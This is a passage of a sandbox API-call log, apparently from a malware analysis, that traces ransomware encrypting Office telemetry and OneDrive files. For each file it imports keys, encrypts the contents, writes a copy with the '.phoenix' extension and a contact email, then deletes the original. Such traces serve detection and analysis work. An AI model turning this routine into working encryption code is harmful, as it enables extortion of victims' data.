	[0267.612] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x182, lpOverlapped=0x0) returned 1
	[0267.612] CryptDestroyKey (hKey=0x151640) returned 1
	[0267.612] CloseHandle (hObject=0x254) returned 1
	[0267.612] CloseHandle (hObject=0x2e4) returned 1
	[0267.612] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otelemediumcost.dat")) returned 1
	[0267.613] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.613] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otele.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.613] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=279) returned 1
	[0267.613] CloseHandle (hObject=0x2e4) returned 1
	[0267.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otele.dat")) returned 0x20
	[0267.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otele.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.614] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.614] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.615] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0267.615] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.615] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x117, lpOverlapped=0x0) returned 1
	[0267.615] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120, dwBufLen=0x120 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120) returned 1
	[0267.615] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x120, lpOverlapped=0x0) returned 1
	[0267.616] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0267.616] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.616] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0267.616] CryptDestroyKey (hKey=0x151600) returned 1
	[0267.616] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x172, lpOverlapped=0x0) returned 1
	[0267.646] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0267.646] CloseHandle (hObject=0x2e4) returned 1
	[0267.646] CloseHandle (hObject=0x254) returned 1
	[0267.646] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otele.dat")) returned 1
	[0267.651] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otelemediumcost.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.662] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=505) returned 1
	[0267.662] CloseHandle (hObject=0x2c0) returned 1
	[0267.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otelemediumcost.dat")) returned 0x20
	[0267.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTeleMediumCost.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otelemediumcost.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otelemediumcost.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.663] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.663] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTeleMediumCost.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otelemediumcost.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.667] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0267.667] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.667] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1f9, lpOverlapped=0x0) returned 1
	[0267.694] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x200, dwBufLen=0x200 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x200) returned 1
	[0267.694] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x200, lpOverlapped=0x0) returned 1
	[0267.695] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0267.695] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.695] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0267.696] CryptDestroyKey (hKey=0x151640) returned 1
	[0267.696] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x182, lpOverlapped=0x0) returned 1
	[0267.696] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0267.696] CloseHandle (hObject=0x2c0) returned 1
	[0267.696] CloseHandle (hObject=0x2c4) returned 1
	[0267.696] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otelemediumcost.dat")) returned 1
	[0267.697] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.697] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.705] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5499) returned 1
	[0267.705] CloseHandle (hObject=0x2e4) returned 1
	[0267.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appblue.png")) returned 0x20
	[0267.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppBlue.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appblue.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.706] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.706] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.706] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.706] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppBlue.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appblue.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.706] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0267.707] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.707] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x157b, lpOverlapped=0x0) returned 1
	[0267.733] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1580, dwBufLen=0x1580 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1580) returned 1
	[0267.733] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1580, lpOverlapped=0x0) returned 1
	[0267.734] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0267.734] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.734] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0267.734] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.734] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0267.734] CryptDestroyKey (hKey=0x151500) returned 1
	[0267.734] CloseHandle (hObject=0x2e4) returned 1
	[0267.734] CloseHandle (hObject=0x254) returned 1
	[0267.735] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appblue.png")) returned 1
	[0267.735] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.735] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.736] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=383222) returned 1
	[0267.736] CloseHandle (hObject=0x254) returned 1
	[0267.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.gif")) returned 0x20
	[0267.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.gif.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.gif.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.736] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.736] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.736] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.736] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.gif.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.gif.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.737] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0267.737] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.737] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5d8f6, lpOverlapped=0x0) returned 1
	[0267.759] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5d900, dwBufLen=0x5d900 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5d900) returned 1
	[0267.760] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5d900, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5d900, lpOverlapped=0x0) returned 1
	[0267.774] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0267.774] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.774] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.774] CryptDestroyKey (hKey=0x151180) returned 1
	[0267.774] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.774] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0267.774] CloseHandle (hObject=0x254) returned 1
	[0267.774] CloseHandle (hObject=0x2e4) returned 1
	[0267.774] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.gif")) returned 1
	[0267.778] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.792] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10226) returned 1
	[0267.792] CloseHandle (hObject=0x2c0) returned 1
	[0267.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.png")) returned 0x20
	[0267.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.793] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.793] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.793] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0267.794] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.794] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x27f2, lpOverlapped=0x0) returned 1
	[0267.801] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2800, dwBufLen=0x2800 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2800) returned 1
	[0267.801] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2800, lpOverlapped=0x0) returned 1
